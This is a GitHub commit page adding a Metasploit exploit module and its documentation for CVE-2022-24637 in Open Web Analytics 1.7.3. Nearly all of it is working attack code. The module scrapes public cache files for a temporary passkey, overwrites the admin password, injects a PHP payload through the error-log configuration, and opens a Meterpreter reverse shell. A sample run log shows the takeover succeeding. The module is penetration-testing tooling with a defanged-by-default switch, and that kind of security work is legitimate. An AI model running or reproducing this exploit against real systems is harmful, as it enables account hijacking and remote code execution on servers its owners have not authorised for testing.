Skip to content

Commit

Permalink
Land #17754, Open web analytics 1.7.3 remote code execution
Browse files Browse the repository at this point in the history
  • Loading branch information
cdelafuente-r7 committed Mar 17, 2023
2 parents 8b26064 + 3baa894 commit 0df12fd
Show file tree
Hide file tree
Showing 2 changed files with 366 additions and 0 deletions.
84 changes: 84 additions & 0 deletions documentation/modules/exploit/multi/http/open_web_analytics_rce.md
@@ -0,0 +1,84 @@
## Vulnerable Application

Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated
remote attacker to obtain sensitive user information, which can be
used to gain admin privileges by leveraging cache hashes. This occurs
because files generated with '<?php (instead of the intended "<?php sequence) aren't
handled by the PHP interpreter.

## Verification Steps

1. Start a vulnerable instance of OWA using docker
- Download https://github.com/Pflegusch/CVE-2022-24637/blob/main/deployment/docker-compose.yml
- Start the containers: `docker compose up -d`
- Open http://127.0.0.1:80/
- Follow installation steps using the envs from the `docker-compose.yml` file
- Public URL: `http://127.0.0.1/`
- Database Host (`docker inspect <db-container>` and get `IPAddress`, e.g `172.22.0.2`)
- Database Port: `3306`
- Database Name: `owa`
- Database User: `owa`
- Database Password: `Demo12+#`
- Continue
- Site Domain: `http://127.0.0.1`
- Admin name: `admin`
- E-Mail: `admin@admin.com`
- Password: `Demo12+#`
- Continue

2. Start `msfconsole`
3. `use exploit/multi/http/open_web_analytics_rce`
4. `set RHOSTS 127.0.0.1`
5. `set RPORT 80`
6. `set SSL false`
7. `set LHOST 172.22.0.1` -> this needs to be bridge IP that got created with the `docker compose up -d` command
8. `check`
9. `run`

## Options
### Password

When exploiting the target, the password of the attacked user will be overwritten with this password.

### Username

The user that will be targeted with this exploit.

## Advanced Options
### SearchLimit

The exploit works by retrieving a `temp_passkey` value from a cache file that gets created for each user when trying to login with it.
Since the `/owa-data/caches/` directory is publicly accessible, we can retrieve these cache files. The exact path for the cache files
depends on the `user_id` and can get calculated with that. This option defines how many calculated paths, starting from 0, should be
checked for cache files with the `temp_passkey` value in it.

## Scenarios
### Version 1.7.3 using docker deployment from above
```
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >
```
282 changes: 282 additions & 0 deletions modules/exploits/multi/http/open_web_analytics_rce.rb
@@ -0,0 +1,282 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Open Web Analytics 1.7.3 - Remote Code Execution (RCE)',
'Description' => %q{
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive
user information, which can be used to gain admin privileges by leveraging cache hashes.
This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled
by the PHP interpreter.
},
'Author' => [
'Jacob Ebben', # ExploitDB Exploit Author
'Dennis Pfleger' # Msf Module
],
'References' => [
[ 'CVE', '2022-24637'],
[ 'EDB', '51026'],
[ 'URL', 'https://devel0pment.de/?p=2494' ]
],
'Licence' => MSF_LICENSE,
'Platform' => ['php'],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2022-03-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK, # /owa-data/caches/{get_random_string(8)}.php
IOC_IN_LOGS, # Malicious GET/POST requests in the webservice logs
ACCOUNT_LOCKOUTS, # Account passwords will be changed in this module
CONFIG_CHANGES, # Will update config files to trigger the exploit
]
}
)
)

register_options([
OptString.new('Username', [ true, 'Target username', 'admin' ]),
OptString.new('Password', [ true, 'Target new password', 'pwned' ]),
])

register_advanced_options([
OptInt.new('SearchLimit', [ false, 'Upper limit of user ids to check for usable cache file', 100 ]),
OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
])
end

def check
res = check_connection
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe if !res.body.include?('Open Web Analytics')

version = Rex::Version.new(res.body.scan(/version=([\d.]+)/).flatten.first)
return CheckCode::Detected("Open Web Analytics #{version} detected") unless version < Rex::Version.new('1.7.4')

CheckCode::Appears("Open Web Analytics #{version} is vulnerable")
end

def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute the exploit against the target system?
Running this exploit will change user passwords and config files of the
target system.
Disable the DefangedMode option if you have authorization to proceed.
EOF

fail_with(Failure::BadConfig, warning)
end

username = datastore['Username']
new_password = datastore['Password']

res = check_connection
if res
print_good("Connected to #{full_uri} successfully!")
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
'keep_cookies' => true,
'vars_post' => {
'owa_user_id' => username,
'owa_password' => rand_text_alphanumeric(8),
'owa_action' => 'base.login'
}
)
if res && res.code != 200
fail_with(Failure::UnexpectedReply, 'An error occurred during the login attempt!')
end

print_status("Attempting to find cache of '#{username}' user")

found = false
cache = nil

limit = datastore['SearchLimit']
if limit < 0
fail_with(Failure::BadConfig, 'SearchLimit must be set to a number > 0!')
end

limit.times do |key|
user_id = "user_id#{key}"
userid_hash = Digest::MD5.hexdigest(user_id)
filename = "#{userid_hash}.php"
cache_request = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{key}/owa_user/#{filename}")
)
if cache_request && cache_request.code == 404
next
end

cache_raw = cache_request.body
cache = get_cache_content(cache_raw)
cache_username = get_cache_username(cache)
if cache_username != username
print_status("The temporary password for a different user was found. \"#{cache_username}\": #{get_cache_temppass(cache)}")
next
else
found = true
break
end
end

if !found
fail_with(Failure::NotFound, "No cache found. Are you sure \"#{username}\" is a valid user?")
end

cache_temppass = get_cache_temppass(cache)
print_good("Found temporary password for user '#{username}': #{cache_temppass}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.usersPasswordEntry'),
'keep_cookies' => true,
'vars_post' => {
'owa_password' => new_password,
'owa_password2' => new_password,
'owa_k' => cache_temppass,
'owa_action' => 'base.usersChangePassword'
}
)

if res && res.code != 302
fail_with(Failure::UnexpectedReply, 'An error occurred when changing the user password!')
end
print_good("Changed the password of '#{username}' to '#{new_password}'")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
'keep_cookies' => true,
'vars_post' => {
'owa_user_id' => username,
'owa_password' => new_password,
'owa_action' => 'base.login'
}
)

redirect = res['location']
res = send_request_cgi(
'method' => 'GET',
'uri' => URI(redirect).path
)
if res && res.code == 200
print_good("Logged in as #{username} user")
else
fail_with(Failure::UnexpectedReply, "An error occurred during the login attempt of user #{username}")
end

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral')
)

shell_filename = "#{rand_text_alphanumeric(8)}.php"

nonce = get_update_nonce(res)
log_location = 'owa-data/caches/' + shell_filename
register_file_for_cleanup(shell_filename)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
'keep_cookies' => true,
'vars_post' => {
'owa_nonce' => nonce,
'owa_action' => 'base.optionsUpdate',
'owa_config[base.error_log_file]' => log_location,
'owa_config[base.error_log_level]' => 2
}
)
fail_with(Failure::Unreachable, 'An error occurred when attempting to update config!') unless res && res.code == 302
print_status('Creating log file')

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
'keep_cookies' => true,
'vars_post' => {
'owa_nonce' => nonce,
'owa_action' => 'base.optionsUpdate',
'owa_config[shell]' => payload.encoded + '?>'
}
)
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!') unless res && res.code == 302
print_good('Wrote payload to file')

send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{shell_filename}"),
timeout: 1
)

print_good('Triggering payload! Check your listener!')
end

def check_connection
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm')
)
end

def get_cache_content(cache_raw)
regex_cache_base64 = /\*(\w*={0,2})/
regex_result = cache_raw.match(regex_cache_base64)

unless regex_result
fail_with(Failure::NotVulnerable, 'The serialized data can not be extracted from the cache file!')
end

Base64.decode64(regex_result[1]).force_encoding('ascii')
end

def get_cache_username(cache)
match = cache.match(/"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"/)

unless match
fail_with(Failure::NotVulnerable, 'The username can not be extracted from the cache file!')
end

match[1]
end

def get_cache_temppass(cache)
match = cache.match(/"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"/)

unless match
fail_with(Failure::NotVulnerable, 'The temp_passkey variable can not be extracted from the cache file!')
end

match[1]
end

def get_update_nonce(page)
update_nonce = page.body.match(/owa_nonce" value="(\w*)"/)[1]

unless update_nonce
fail_with(Failure::NotVulnerable, 'The update_nonce variable can not be extracted from the page body!')
end

update_nonce
end
end

0 comments on commit 0df12fd

Please sign in to comment.